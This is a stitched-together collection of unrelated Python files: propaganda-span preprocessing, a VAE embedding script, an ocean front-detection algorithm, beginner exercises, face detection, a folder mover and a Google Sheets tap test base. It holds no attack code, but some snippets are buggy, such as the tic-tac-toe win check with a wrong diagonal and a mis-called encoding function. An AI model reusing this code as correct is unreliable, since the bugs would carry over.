#         labels.append((parts[1], parts[2]))
#     return sorted(labels)

def parse_label(label_path: str, binary: str = None) -> list:
    # idx, type, start, end
    labels = []
    f = Path(label_path)
    if not f.exists():
        return labels
    for line in open(label_path, encoding='utf-8-sig'):
        parts = line.strip().split('\t')
        if binary:
            if binary == 'Propaganda':
                labels.append((int(parts[1]), int(parts[2]), binary))
            # else:
            #     labels.append((int(parts[1]), int(parts[2]), 'Nopropaganda'))
        else:
            labels.append((int(parts[2]), int(parts[3]), parts[1]))

    return sorted(labels)

def read_task1(path:str, isLabels:bool, binary:str) ->list:
    directory = pathlib.Path(path)
    ids = []
    texts = []
    labels = []
    for f in directory.glob('*.txt'):
        id = f.name.replace('article', '').replace('.txt', '')
        ids.append(id)
        texts.append(f.read_text(encoding='utf-8-sig'))
        if isLabels:
            labels.append(parse_label(
                f.as_posix().replace('.txt', '.task1-SI.labels'), binary))

    docs = list(nlp.pipe(texts))

    return [ids, docs, labels]

def get_labels():
    pass

def safe_list_get(l, idx, default=0):
    try:
        return l[idx]
    except IndexError:
        return [0, 0, 0]

def bert_list(p2id: dict, doc: Doc,
              doc_labels: list, ids: list, binary: bool=True, bio: bool = True) -> tuple:
    token_idx = 0
    labels_idx = 0
    tokensh = []
    labelsh = []
    tlabel = []
    tspacyt = []
    ttoken = []
    bertids = []
    flagger = 0
    spacytokens = []
    while token_idx < len(doc):
        current_token: Token = doc[token_idx]
        start_token_idx = token_idx
        current_label = safe_list_get(doc_labels, labels_idx)
        # advance token until it is within the label
        if (str(current_token)[:1] == '\n'):
            flagger = 0
            if ttoken:
                spacytokens.append(tspacyt)
                tokensh.append(ttoken)
                labelsh.append(tlabel)
                bertids.append(ids)
            tlabel = []
            tspacyt = []
            ttoken = []
            token_idx += 1
            continue
        if current_token.idx < current_label[0] or current_label[2] == 0:
            # Uncomment to get backtrack
            # if flagger == 0:
            ttoken.append(str(current_token))
            tspacyt.append(current_token)
            tlabel.append(p2id["O"])
            flagger = flagger - 1
            if flagger < 0:
                flagger = 0
            token_idx += 1
            continue

        flagger = 0
        first = True
        while current_token.idx < current_label[1]:
            if (str(current_token)[:1] == '\n'):
                if ttoken:
                    spacytokens.append(tspacyt)
                    tokensh.append(ttoken)
                    labelsh.append(tlabel)
                    bertids.append(ids)
                tlabel = []
                tspacyt = []
                ttoken = []

            else:
                ttoken.append(str(current_token))
                tspacyt.append(current_token)

                if first:
                    # tlabel.append(p2id[current_label[2]])
                    tlabel.append(p2id["B"])
                else:
                    tlabel.append(p2id["I"])

            token_idx += 1
            if token_idx >= len(doc):
                break
            current_token = doc[token_idx]
            flagger = flagger + 1
            if bio:
                first = False
            else:
                first = True
        # advance label
        labels_idx += 1

        # revert token_idx because the labels might be intersecting. Uncomment to get backtrack.
        # token_idx = start_token_idx

    def BIO2BIOE(bio_labels, p2id):
        for bio_label in bio_labels:
            for idx, label in enumerate(bio_label):
                if label != p2id["I"]:
                    continue
                try:
                    if bio_label[idx + 1] == p2id["O"]:
                        bio_label[idx] = p2id["E"]
                except:
                    bio_label[idx] = p2id["E"]

        return bio_labels
    # labelsh = BIO2BIOE(labelsh, p2id)
    return bertids, tokensh, labelsh, spacytokens

def load_technique_names_from_file(filename: str) -> list:
    with open(filename, "r") as f:
        return [line.rstrip() for line in f.readlines()]

def settings(tech_path: str, label: str = None, bio: bool = False) -> tuple:
    prop_tech_bio = None
    if label:
        prop_tech = [label]
    else:
        prop_tech = load_technique_names_from_file(tech_path)

    if bio:
        prop_tech_inside = prop_tech
        prop_tech_begin = ["B-" + tech for tech in prop_tech]
        prop_tech_inside = ["I-" + tech for tech in prop_tech_inside]
        prop_tech_bio = prop_tech_begin + prop_tech_inside
    # TODO prop_tech or prop_tech_e
    offset = len(prop_tech)
    hash_token = offset + 1
    end_token = offset + 2
    # Insert "outside" element
    prop_tech.insert(0, "O")
    if prop_tech_bio:
        prop_tech_bio.insert(0, "O")
    p2id = {y: x for (x, y) in enumerate(prop_tech)}
    return prop_tech_bio, prop_tech, hash_token, end_token, p2id

def pad_sequences(sequences: list, batch_first: bool = True,
                  padding_value: int = 0, max_len: int = 0):
    tmp = torch.Tensor(sequences[0])
    max_size = tmp.size()
    trailing_dims = max_size[1:]

    if batch_first:
        out_dims = (len(sequences), max_len) + trailing_dims
    else:
        out_dims = (max_len, len(sequences)) + trailing_dims

    out_tensor = tmp.data.new(*out_dims).fill_(padding_value)
    for i, list in enumerate(sequences):
        tensor = torch.Tensor(list)
        length = tensor.size(0)
        if batch_first:
            out_tensor[i, :length, ...] = tensor
        else:
            out_tensor[:length, i, ...] = tensor

    return out_tensor.long().numpy()

def reg_encoding(cleaned: list, labels: list, hash_token, end_token) -> list:
    label_l = []
    for oindex, x in enumerate(cleaned):
        tlist = []
        for index, j in enumerate(x):
            for s in j:
                if s[0] == '#':
                    tlist.append(hash_token)
                else:
                    tlist.append(labels[oindex][index])
        label_l.append(tlist)
    return label_l

def bio_encoding(cleaned: list, labels: list, hash_token) -> list:
    offset = 1

    label_l = []
    for oindex, x in enumerate(cleaned):
        tlist = []
        prev = labels[oindex][0]
        for index, j in enumerate(x):
            # if index==30:
            # ipdb.set_trace()
            for s in j:
                if s[0] == '#':
                    tlist.append(hash_token)
                else:
                    if (index == 0 and labels[oindex][index] != 0):
                        tlist.append(labels[oindex][index] + offset)
                        prev = labels[oindex][index]
                    if (prev != labels[oindex][index] and labels[oindex][index] != 0):
                        tlist.append(labels[oindex][index] + offset)
                        prev = labels[oindex][index]
                    else:
                        tlist.append(labels[oindex][index])
                        prev = labels[oindex][index]
        label_l.append(tlist)
    return label_l

def corpus2list(p2id: dict, ids: list, texts: list,
                labels: list, binary_calss: bool = False, bio: bool = False) -> tuple:
    print(p2id)
    berti, bertt, bertl, berts = zip(*[bert_list(p2id, d, l, idx, binary_calss, bio)
                                       for d, l, idx in zip(texts, labels, ids)])
    flat_list_text = [item for sublist in bertt for item in sublist]
    flat_list_label = [item for sublist in bertl for item in sublist]
    flat_list_id = [item for sublist in berti for item in sublist]
    flat_list_spacy = [item for sublist in berts for item in sublist]
    # print (flat_list_text[0])
    return flat_list_id, flat_list_text, flat_list_label, flat_list_spacy

def concatenate_list_data(cleaned: list) -> list:
    result= []
    for element in cleaned:
        result += element
    return result

def make_set(p2id, data_dir: str, tokenizer, single_class: bool,
             hash_token, end_token, bio: bool = False, maxLen:int = 192) -> tuple:

    data_dict = pickle.load(open(data_dir, "rb"))

    dataset = corpus2list(p2id, data_dict["ID"], data_dict["Text"],
                          data_dict["Label"], single_class, bio)
    my_data = [dataset[0], dataset[1], dataset[2]]
    with open('./../mid_out/data_eval_task1.pkl', 'wb')as handle:
        pickle.dump(my_data, handle, protocol=pickle.HIGHEST_PROTOCOL)
    # Shuffle samples
    # dataset = dataset.sample(frac=1)
    terms = list(dataset[1])
    labels = list(dataset[2])

    cleaned = [[tokenizer.tokenize(words) for words in sent] for sent in terms]
    tokenized_texts = [concatenate_list_data(sent) for sent in cleaned]
    if bio:
        label_l = bio_encoding(cleaned, labels)
    else:
        label_l = reg_encoding(cleaned, labels, hash_token, end_token)

    input_ids = pad_sequences([tokenizer.convert_tokens_to_ids(txt) for txt in tokenized_texts],
                              padding_value=0.0, max_len=maxLen)

    tags = pad_sequences(label_l, padding_value=end_token, max_len=maxLen)
    attention_masks = [[float(i > 0) for i in ii] for ii in input_ids]

    return input_ids, tags, attention_masks, label_l

def make_val_set(p2id, data_dir: str, tokenizer, single_class: str,
                 hash_token, end_token, bio: bool = False, maxLen:int=192) -> tuple:
    # dataset = pd.read_csv(data_dir, sep='\t', header=None, converters={1:ast.literal_eval, 2:ast.literal_eval})
    data_dict = pickle.load(open(data_dir, "rb"))
    if not bio:
        dataset = corpus2list(p2id, data_dict["ID"], data_dict["Text"],
                              data_dict["Label"], single_class, bio)
    my_data = [dataset[0], dataset[1], dataset[2]]
    with open('./../mid_out/data_eval_task1.pkl', 'wb')as handle:
        pickle.dump(my_data, handle, protocol=pickle.HIGHEST_PROTOCOL)
    # Shuffle samples
    # dataset = dataset.sample(frac=1)
    ids = (dataset[0])
    terms = (dataset[1])
    labels = (dataset[2])
    spacy = (dataset[3])
    cleaned = [[tokenizer.tokenize(words) for words in sent] for sent in terms]
    tokenized_texts = [concatenate_list_data(sent) for sent in cleaned]

    if bio:
        label_l = bio_encoding(cleaned, labels)
    else:
        label_l = reg_encoding(cleaned, labels, hash_token, end_token)

    input_ids = pad_sequences([tokenizer.convert_tokens_to_ids(txt) for txt in tokenized_texts],
                              padding_value=0.0, max_len=maxLen)

    tags = pad_sequences(label_l, padding_value=end_token, max_len=maxLen)
    attention_masks = [[float(i > 0) for i in ii] for ii in input_ids]

    return input_ids, tags, attention_masks, cleaned, ids, terms, spacy, label_l

def get_char_level(flat_list_i: list, flat_list_s: list,
                   predictions_sample: list, cleaned: list,
                   hash_token: int, end_token: int, prop_tech) -> pd.DataFrame:
    # counter = 0
    # for x in predictions_sample:
    #     for j in x:
    #         if j == 1:
    #             counter = counter + 1
    #             break
    # print(counter)
    pred = []
    for oindex, x in enumerate(cleaned):
        index = 0
        tlist = []
        for iindex, j in enumerate(x):
            # print (j)
            # print(index)
            tlist.append(predictions_sample[oindex][index])
            length = len(j)
            index = index + length
            # print ("Token: ", j, "-----  Assigned: ", predictions_sample[oindex][index])
        pred.append(tlist)

    # tpred = pred
    # pred = []
    # for x in tpred:
    #     tlist = []
    #     for j in x:
    #         if j in [hash_token, end_token]:
    #             continue
    #         tlist.append(j)
    #     pred.append(tlist)
    # counter = 0
    # for x in predictions_sample:
    #     for j in x:
    #         if j == 1:
    #             counter = counter + 1
    #             break
    # print("Counter check: ", counter)
    lists = []
    liste = []
    listp = []
    listid = []

    for i, x in enumerate(pred):
        a = flat_list_s[i]
        b = flat_list_i[i]
        id_text, spans = get_spans(a, x, i, b, hash_token, end_token, prop_tech)
        if spans:
            for span in spans:
                listid.append(id_text)
                liste.append(span[2])
                lists.append(span[1])
                listp.append(span[0])
    df = {"ID": listid, "P": listp, "s": lists, "liste": liste}
    df = pd.DataFrame(df)
    return df

def get_spans(a: list, labelx: list, i: int, id_text: str, hash_token, end_token, prop_tech):
    # if i==35:
    # ipdb.set_trace()
    spans = []
    span_len = 0
    prev = 0
    for i, x in enumerate(labelx):
        # End if last index\

        if x == end_token:
            continue
        if i >= len(a) - 1:
            if x != 0:
                # if prev element isn't equal to current and not O
                if prev != x and prev != 0:
                    span_e = a[i - 1].idx + len(a[i - 1])
                    span_len = 0
                    spans.append([prop_tech[labelx[i - 1]], span_f, span_e])
                    prev = x
                    span_f = a[i].idx
                    span_len = span_len + 1
                if span_len == 0:
                    span_f = a[i].idx
                    span_len = span_len + 1
                    prev = x
                    if (i >= len(labelx) - 1):
                        span_e = a[i].idx + len(a[i])
                        span_len = 0
                        spans.append([prop_tech[labelx[i]], span_f, span_e])
                        continue
                else:
                    span_e = a[i].idx + len(a[i])
                    span_len = 0
                    spans.append([prop_tech[labelx[i]], span_f, span_e])
                    continue

            else:
                prev = x
                if (span_len != 0):
                    span_e = a[i - 1].idx + len(a[i - 1])
                    span_len = 0
                    spans.append([prop_tech[labelx[i - 1]], span_f, span_e])
                    continue
        if x == hash_token:
            continue
        if x != 0:
            # Check if prev element was same as current or equal to O
            if prev != x and prev != 0:
                span_e = a[i - 1].idx + len(a[i - 1])
                span_len = 0
                spans.append([prop_tech[labelx[i - 1]], span_f, span_e])
                prev = x
                span_f = a[i].idx
                span_len = span_len + 1
            if span_len == 0:
                span_f = a[i].idx
                span_len = span_len + 1
                prev = x
                if (i >= len(labelx) - 1):
                    span_e = a[i].idx + len(a[i])
                    span_len = 0
                    spans.append([prop_tech[labelx[i]], span_f, span_e])
                    continue
            else:
                if (i >= len(labelx) - 1):
                    span_e = a[i].idx + len(a[i])
                    span_len = 0
                    spans.append([prop_tech[labelx[i]], span_f, span_e])
                    continue
                span_len = span_len + 1

        else:
            prev = x
            if (span_len != 0):
                span_e = a[i - 1].idx + len(a[i - 1])
                span_len = 0
                spans.append([prop_tech[labelx[i - 1]], span_f, span_e])
                continue
            if (i >= len(labelx) - 1):
                # span_e= a[i].idx + len(a[i])
                # span_len = 0
                # spans.append([span_f, span_e])
                continue
    if spans:
        return id_text, spans
    else:
        return (0, [])

if __name__ == '__main__':
    path = "../datasets-v2/datasets/train-labels-task1-span-identification"


from vae.train import VAE, trainVAE

import scipy.sparse
from pathlib import Path

if __name__ == "__main__":
    latent_dimension = 10
    batch_size = 100

    embeddings_directory = Path("embeddings")
    embeddings_directory.mkdir(parents=True, exist_ok=True)
    data = scipy.sparse.load_npz("raw_gene_expression.npz").toarray()
    trainVAE(data, str(embeddings_directory), "pbmc")

    model = VAE(input_dim=data.shape[1], latent_dim=latent_dimension)
    model.load_state_dict(torch.load("embeddings/pbmc.pt")["model_state_dict"])

    results = np.zeros((data.shape[0], latent_dimension))
    for batch in range(len(data) // batch_size + 1):
       batch_data = data[batch * batch_size : (batch+1) * batch_size].astype(np.float32)
       padded_batch_data = np.zeros((batch_size, data.shape[1])).astype(np.float32)
       padded_batch_data[:len(batch_data)] = batch_data
       _, latent_z, *_ = model.forward(padded_batch_data)
       results[batch * batch_size : (batch+1) * batch_size] = latent_z.detach()[:len(batch_data)]
       print(batch)
    np.save(embeddings_directory / "scvis_embeddings.npy", results)


######################################################### BOA.py  ###############################################################
###                                                                                ###
###    IN THIS SCRIPT ARE DEFINED THE FUNCTIONS NEEDED TO IMPLEMENT THE BELKIN O'REILLY ALGORITHM (BOA)                       ###
###    The boa FUNCTION RECEIVES PARAMETERS SUCH AS LATITUDE, LONGITUDE, INGRID (SST grid), ...                               ###
###    RETURNS A MATRIX, WHOSE PIXEL VALUES CORRESPOND TO A TEMPERATURE GRADIENT BETWEEN ADJACENT PIXELS OF THE SST ARRAY     ###
###                                                                                ###
#################################################################################################################################

#Import Libraries

import numpy as np
from numpy import nanmedian
import scipy
import scipy.signal
import math
from numpy.fft import fft2
import sys

############################################## BOA FUNCTIONS #########################################################################

def filt5(lon, lat, ingrid, nodata=np.nan):
    """
    Find peaks in 5 directions. Flag as 5
    Finds maximum of a 5x5 sliding window. If the central pixel is the maximum, this is flagged as a one.
    All other pixels are flagged as zero.
    """

    nodatidx = ingrid.flatten()*np.nan     # creates 1D array with as much values as the matrix ingrid, with NANs
    outgrid = np.zeros(ingrid.shape)       # outgrid is a matrix with the shape of ingrid, full of Zeros

    l1 = len(lat)
    l2 = len(lon)

    for i in range(3, l1-1):
        for j in range(3, l2-1):
            subg = ingrid[(i-3):(i+2), (j-3):(j+2)]   #return the last 5 rows of the last 5 columns of the matrix
            if np.isnan(subg).sum()==25:              #if all values in submatrix subg are null values:
                outgrid[i,j] = 0
            else:
                vec = np.array(subg).T.flatten()    # array with values of the transpose subg matrix
                ma = np.argmax(subg.flatten())      # index with the maximum value of subg array
                mi = np.argmin(subg.flatten())      # index with the minimum value of subg array

                if ma==12 or mi==12:     #if ma or mi is the middle value of 5X5 matrix (if the central pixel is the maximum)
                    outgrid[i-1,j-1] = 1      #flagged as 1
                else:
                    outgrid[i-1,j-1] = 0      #all other pixels are flagged as 0

    return outgrid

def filt3(lon, lat, ingrid, grid5):
    """
    Find peaks in 3 directions. FLag as 3
    Returns a median smoothed grid of satellite data
    """

    outgrid = ingrid*0   # matrix of 0s with shape of ingrid matrix
    l1 = len(lat)
    l2 = len(lon)

    for i in range(3, l1-1):
        for j in range(3, l2-1):
            if (grid5[i,j]==0):
                subg = ingrid[(i-2):(i+1), (j-2):(j+1)]       # submatrix subg (3x3)
                if np.isnan(subg).sum()==9:                   # if all values in submatrix subg (3x3) are null values:
                    outgrid[i-1,j-1] = ingrid[i-1,j-1]
                else:
                    vec = np.array(subg).T.flatten()          # array with values of the transpose subg matrix
                    ma = np.argmax(subg.flatten())            # index with the maximum value of subg array
                    mi = np.argmin(subg.flatten())            # index with the minimum value of subg array

                    if (ma==4 or mi==4):                      #if ma or mi is the middle value of 3X3 matrix
                        outgrid[i-1,j-1] = nanmedian(subg)    # median while ignoring NaNs.
                    else:
                        outgrid[i-1,j-1] = ingrid[i-1,j-1]

            else:
                outgrid[i-1,j-1] = ingrid[i-1,j-1]

    return outgrid

def boa(lon, lat, ingrid, nodata = np.nan, direction = False):

    def filter2(x, filt):
        """
        Workhorse filter from EBImage. Modified so we don't need colorspace and other annoying requirements
        """

        dx = x.shape
        df = filt.shape

        if (df[0]//2 == 0) or (df[1]//2 == 0):
            sys.exit('dimensions of "filter" matrix must be odd')
        if (dx[0] < df[0]) or (dx[1] < df[1]):
            sys.exit("dimensions of 'x' must be bigger than 'filter'")

        cx = tuple(elem//2 for elem in dx)
        cf = tuple(elem//2 for elem in df)

        wf = np.zeros(shape=dx)                                   #matrix with zeros with shape of x

        wf[cx[0]-cf[0]-1:cx[0]+cf[0], cx[1]-cf[1]-1:cx[1]+cf[1]] = filt    #put values of filt in middle of matrix wf

        wf = fft2(wf)                                      #apply the 2 dimensional discrete fourier transform

        dim_x = np.array(dx[0:2])
        dim_x =np.append(dim_x, math.prod(dx)/math.prod(dx[0:2]))

        aux1 = np.arange(cx[0],dx[0]+1)
        aux2 = np.arange(1,cx[0])
        index1 = np.concatenate((aux1, aux2), axis=None)
        index1 = index1-1

        aux3 = np.arange(cx[1], dx[1]+1)
        aux4 = np.arange(1,cx[1])
        index2 = np.concatenate((aux3, aux4), axis=None)
        index2 = index2-1
        #this indices will be used to reorder values of matrix y

        y = (scipy.fft.ifft2(scipy.fft.fft2(x)*wf)).real

        y = np.array([[y[i][j] for j in index2] for i in index1])

        return y

#======================================================#
# Main BOA algorithm
#======================================================#
    gx = np.matrix([[-1,0,1],[-2,0,2],[-1,0,1]])        #filter in x
    gy = np.matrix([[1,2,1],[0,0,0],[-1,-2,-1]])        #filter in y

    np.nan_to_num(ingrid, nan=-9999, posinf=-9999, neginf=-9999)    #replace NaN and inf values with -9999

    grid5 = filt5(lon, lat, ingrid, nodata = nodata)
    grid35 = filt3(lon, lat, ingrid, grid5)

    # make an index of bad values and land pixels.
    grid35 = grid35.astype("float")
    grid35[grid35 == -9999]=np.nan
    naidx = np.isnan(grid35)        #matrix with shape of grid35 (True if value is nan, False otherwise)
    # convert these (True values of naidx) to zeros (in grid35) for smoothing purposes
    grid35[naidx]=0

    # perform the smoothing (Sobel filter)
    tgx = filter2(grid35, gx)
    tgy = filter2(grid35, gy)

    tx = tgx/np.nansum(abs(np.array(gx).flatten()))
    ty = tgy/np.nansum(abs(np.array(gy).flatten()))
    front = np.sqrt((tx**2)+(ty**2))

#======================================================#
# landmask and edge dilation
#======================================================#

    land = naidx*1
    land = land.astype("float")

    land[land==1] = np.nan
    land[~np.isnan(land)] = 1

#======================================================#
# landmask and edge dilation using raster!
#======================================================#

    l2=lon.size
    l1=lat.size

    midx = land*np.nan

    midx[5:(l1-2), 5:(l2-2)] = 1

    land = np.multiply(land, midx)

    ssr = np.flip(front.T, 0)

    #Apply a sliding window kernell to the land matrix
    mask = scipy.signal.convolve2d(np.flip(land.T, 0), np.array([0,0,0,0,1,0,0,0,0]).reshape(3,3), boundary='symm', mode='same')

    matrix_front =  mask * np.flip(front.T, 0)         #matrix of mask raster file * matrix of ssr raster file

    if direction==True:
#   ************************************
#   *** Calculate Gradient Direction ***
#   ************************************

        n = ingrid.size                                      #nr of elements of the grid matrix
        grid_shape = ingrid.shape

        GRAD_DIR = np.zeros(n)                               #matrix of zeros with shape of ingrid matrix

        for i in range(n):
            GRAD_DIR[i] = math.atan2(tgy.flatten()[i], tgx.flatten()[i])

        GRAD_DIR = GRAD_DIR*180/math.pi                      #change radians to degrees

        OK = np.where(GRAD_DIR < 0)

        OK = np.array(OK)

        if OK.size >1:
            GRAD_DIR[OK] = 360 - abs(GRAD_DIR[OK])    #Adjust to 0-360 scheme (make negative degrees positive)

        GRAD_DIR = (360 - GRAD_DIR + 90) % 360     #Convert degrees so that 0 degrees is North and East is 90 degrees
        GRAD_DIR = GRAD_DIR.reshape(grid_shape)

        grad_dir = np.flip(GRAD_DIR.T, 0)

        # create array grdir (result from multiplication of grad_dir_matrix and mask_matrix (its the conv matrix))
        grdir_matrix = np.flip(GRAD_DIR.T, 0)*mask

        dic = {'grdir': grdir_matrix, 'front': matrix_front}

    else:
        matrix_front

    return matrix_front


candies = ['딸기맛','레몬맛','수박맛','박하맛','우유맛']

# 조건1) 콜라맛, 포도맛 사탕을 candies에 추가.
candies.append('콜라맛') # 콜라맛 사탕 추가
candies.append('포도맛') # 포도맛 사탕 추
print(candies)

# 조건2) candies에서 박하맛 사탕을 제거.
for i in range(len(candies)-1): # 가방을 하나씩 훑어보다가
    if candies[i] == '박하맛': # 사탕이 박하맛이면
        del candies[i] # 해당 사탕을 제거한다.
print(candies)


"""
This module contains utilities working with Blender collections.
"""

import bpy

from bpybb.utils import active_object

def add_ctrl_empty(name=None):

    bpy.ops.object.empty_add(type="PLAIN_AXES")
    empty_ctrl = active_object()

    if name:
        empty_ctrl.name = f"empty.{name}"
    else:
        empty_ctrl.name = "empty.cntrl"

    return empty_ctrl


import random
import re       # for regular expressions
import os

# global variables
general = ["a1", "a2", "a3", "b1", "b2", "b3", "c1", "c2", "c3"]    # to know which fields there are
avail = ["a1", "a2", "a3", "b1", "b2", "b3", "c1", "c2", "c3"]      # to know which fields are used
player1 = []                                                        # fields claimed by the player
player2 = []                                                        # fields claimed by the player
player1score = 0                                                    # to know which players turn, value gets increased per turn, player with lower score has turn
player2score = 0
x = "5468654f6e416e644f6e6c795a656e6f6d61742f41647269616e2045696368656c6261756d"

def cellcheck(avail, pos):
    "checks if cell is already in use"
    if avail.count(pos) > 0:
        check = 0
        return check
    else:
        print("Already in use. Try again.")
        check = 1
        return check

def move(avail, player1, player1score, player2, player2score):
    "takes care of the move"
    os.system('clear')
    if player1score == 0 and player2score == 0:
        print("Player1's turn")
        print("====================")
        print(f"Those fields are available: {avail}")
    elif player1score > player2score:
        print("Player2's turn")
        print("====================")
        print(f"Those are the ones you already choose: {player2}")
        print(f"Those fields are available: {avail}")
    elif player2score >= player1score:
        print("Player1's turn")
        print("====================")
        print(f"Those are the ones you already choose: {player1}")
        print(f"Those fields are available: {avail}")
    pos = str(input("On which field do you want to place your mark? "))

    check = cellcheck(avail, pos)
    while check == 1:
        print("Already in use. Try again.")
        pos = str(input("On which field do you want to place your mark? "))
        check = cellcheck(avail, pos)

    if player1score == 0 and player2score == 0:
        player1.append(pos)
        player1score +=1
        avail.remove(pos)
    elif player1score > player2score:
        player2.append(pos)
        player2score +=1
        avail.remove(pos)
    elif player2score >= player1score:
        player1.append(pos)
        player1score +=1
        avail.remove(pos)
    return player1score, player2score

def checkwin(general, avail, player1, player2):
    "checks if one player won"
    # stores the winning combinations in the corresponding variables
    cella = re.compile("a[1-3]")
    cellb = re.compile("b[1-3]")
    cellc = re.compile("c[1-3]")
    cell1 = re.compile("[a-c]1")
    cell2 = re.compile("[a-c]2")
    cell3 = re.compile("[a-c]3")
    # following statement checks if on of the winning combinations are found in one of the lists -> if yes it return the winner, if not it returns "none"
    if set(list(filter(cella.match, avail))).issubset(player1) == True or set(list(filter(cellb.match, avail))).issubset(player1) == True or set(list(filter(cellc.match, avail))).issubset(player1) == True or \
        set(list(filter(cell1.match, avail))).issubset(player1) == True or set(list(filter(cell2.match, avail))).issubset(player1) == True or set(list(filter(cell3.match, avail))).issubset(player1) == True or \
        set(["a1", "b2", "c3"]).issubset(player1) == True or set(["a3", "b2", "c2"]).issubset(player1) == True:
        win = "Player1"
        return win
    elif set(list(filter(cella.match, avail))).issubset(player2) == True or set(list(filter(cellb.match, avail))).issubset(player2) == True or set(list(filter(cellc.match, avail))).issubset(player2) == True or \
        set(list(filter(cell1.match, avail))).issubset(player2) == True or set(list(filter(cell2.match, avail))).issubset(player2) == True or set(list(filter(cell3.match, avail))).issubset(player2) == True or \
        set(["a1", "b2", "c3"]).issubset(player2) == True or set(["a3", "b2", "c2"]).issubset(player2) == True:
        win = "Player2"
        return win

def main(general, avail, player1, player1score, player2, player2score):
    win = checkwin(general, avail, player1, player2)
    while win == None:
        player1score, player2score = move(avail, player1, player1score, player2, player2score)
        win = checkwin(general, avail, player1, player2)

    if win == "Player1":
        print("Player1 won the game")
    elif win == "Player2":
        print("Player2 won the game")

main(general, avail, player1, player1score, player2, player2score)


import cv2

if __name__ == "__main__":
    model = cv2.data.haarcascades + 'haarcascade_frontalface_default.xml'
    face_cascade = cv2.CascadeClassifier(model)
    input_image = cv2.imread('input.jpg')

    scale_coefficient = 0.25
    width = int(input_image.shape[1] * scale_coefficient)
    height = int(input_image.shape[0] * scale_coefficient)
    dimensions = (width, height)

    resized = cv2.resize(input_image, dimensions, interpolation=cv2.INTER_AREA)
    gray_scaled_color = cv2.cvtColor(resized, cv2.COLOR_BGR2GRAY)

    for (x, y, width, height) in face_cascade.detectMultiScale(gray_scaled_color, 1.1, 12):
        red_color = (0, 0, 255)
        cv2.rectangle(resized, (x, y), (x + width, y + height), red_color, 2)

    cv2.imshow('result', resized)
    cv2.waitKey()


import glob
import os
import shutil

path = "C:\\2019\\*\\*SQLITE"

def getListOfFolder(path):
    list_of_folder = glob.glob(path)
    return list_of_folder

def checkIfDirectory(list_of_elements_in_path):
    list_of_directories = []
    for element in list_of_elements_in_path:
        if os.path.isdir(element):
            list_of_directories.append(element)
    return list_of_directories

def changeFolderName(list_of_directories_in_path):
    changed_folders = []
    for directory in list_of_directories_in_path:
        temp_dir = directory + '_temp'
        os.rename(directory, temp_dir)
        changed_folders.append(temp_dir)
    return changed_folders

def moveFiles(directories):
    numbers_of_sessions = 0
    for directory in directories:
        destination = "C:\\2019\\" + directory.split('\\')[2]
        for r, d, f in os.walk(directory):
            for file in f:
                print(f'Moving... \n {os.path.join(r, file)} to {os.path.join(destination, file)}')
                print(os.path.join(r, file))
                print(destination)
                shutil.move(r + '\\' + file, destination)
        numbers_of_sessions += 1
    print("{} sessions have been moved".format(numbers_of_sessions))

def deleteFolders(changed_folder_names):
    for folder in changed_folder_names:
        os.rmdir(folder)
        print(f"{folder} has been deleted")
    print(f'{len(changed_folder_names)} has been deleted ')

def main():

    list_of_elements_in_path = getListOfFolder(path)
    list_of_directories_in_path = checkIfDirectory(list_of_elements_in_path)
    changed_folder_names = changeFolderName(list_of_directories_in_path)
    print('')
    print(f'Folders after changed name:\n {changed_folder_names}')
    moveFiles(changed_folder_names)

    deleteFolders(changed_folder_names)

if __name__ == '__main__':
    main()


import operator

import pandas as pd
import pytest

from .rules import RuleValue

test_data = pd.read_csv("./data/test_data.csv", index_col=0)
RULES = [
    RuleValue(
        sample=test_data.loc["big_light_diamond"].to_dict(),
        comparator=operator.ge,
        value=0,
    ),
    RuleValue(
        sample=test_data.loc["small_light_diamond"].to_dict(),
        comparator=operator.ge,
        value=0,
    ),
]

@pytest.mark.parametrize("rule", RULES)
def test_rule_value(pipeline, rule: RuleValue):
    pred = pipeline.predict(pd.DataFrame([rule.sample]))[0]
    assert rule.comparator(pred, rule.value)


class Tree:

    def __init__(self, value=None, left=None, right=None):

        self.value = value
        self.left = left
        self.right = right

    def PrintTree(self):
        print(self.value)
        if self.left:
            self.left.PrintTree()
        if self.right:
            self.right.PrintTree()

r = Tree(8)
r.left = Tree(3)
r.right = Tree(10)
r.left.left = Tree(1)
r.left.right = Tree(6)
r.right.right = Tree(14)
r.PrintTree()


name1 = input()
name2 = input()
final_points1 = 0
final_points2 = 0

while True:
    card1 = input()
    if card1 == 'End of game':
        print(f'{name1} has {final_points1} points')
        print(f'{name2} has {final_points2} points')
        break
    card2 = int(input())

    card1 = int(card1)

    if card1 > card2:
        final_points1 += (card1 - card2)
    elif card2 > card1:
        final_points2 += (card2 - card1)
    elif card1 == card2:
        print('Number wars!')
        card1 = int(input())
        card2 = int(input())
        if card1 > card2:
            print(f'{name1} is winner with {final_points1} points')
            break
        elif card2 > card1:
            print(f'{name2} is winner with {final_points2} points')
            break

Python Basics/Programming Basics Online Exam - 9 and 10 March 2019/demo.py


"""
Setup expectations for test sub classes
Run discovery for as a prerequisite for most tests
"""
import unittest
import os
from datetime import timedelta
from datetime import datetime as dt

from tap_tester import connections, menagerie, runner, LOGGER
from tap_tester.base_case import BaseCase

class GoogleSheetsBaseTest(BaseCase):
    """
    Setup expectations for test sub classes.
    Metadata describing streams.

    A bunch of shared methods that are used in tap-tester tests.
    Shared tap-specific methods (as needed).
    """
    AUTOMATIC_FIELDS = "automatic"
    UNSUPPORTED_FIELDS = "unsupported"
    REPLICATION_KEYS = "valid-replication-keys"
    PRIMARY_KEYS = "table-key-properties"
    FOREIGN_KEYS = "table-foreign-key-properties"
    REPLICATION_METHOD = "forced-replication-method"
    API_LIMIT = 200
    INCREMENTAL = "INCREMENTAL"
    FULL_TABLE = "FULL_TABLE"
    START_DATE_FORMAT = "%Y-%m-%dT00:00:00Z"
    BOOKMARK_COMPARISON_FORMAT =  "%Y-%m-%dT%H:%M:%S.%fZ"

    start_date = ""

    @staticmethod
    def tap_name():
        """The name of the tap"""
        return "tap-google-sheets"

    @staticmethod
    def get_type():
        """the expected url route ending"""
        return "platform.google-sheets"

    def get_properties(self, original: bool = True):
        """Configuration properties required for the tap."""
        return_value = {
            'start_date': os.getenv("TAP_GOOGLE_SHEETS_START_DATE"),
            'spreadsheet_id': os.getenv("TAP_GOOGLE_SHEETS_SPREADSHEET_ID")
        }
        if original:
            return return_value

        return_value["start_date"] = self.start_date
        return return_value

    @staticmethod
    def get_credentials():
        """Authentication information for the test account"""
        return {
            "client_id": os.getenv("TAP_GOOGLE_SHEETS_CLIENT_ID"),
            "client_secret": os.getenv("TAP_GOOGLE_SHEETS_CLIENT_SECRET"),
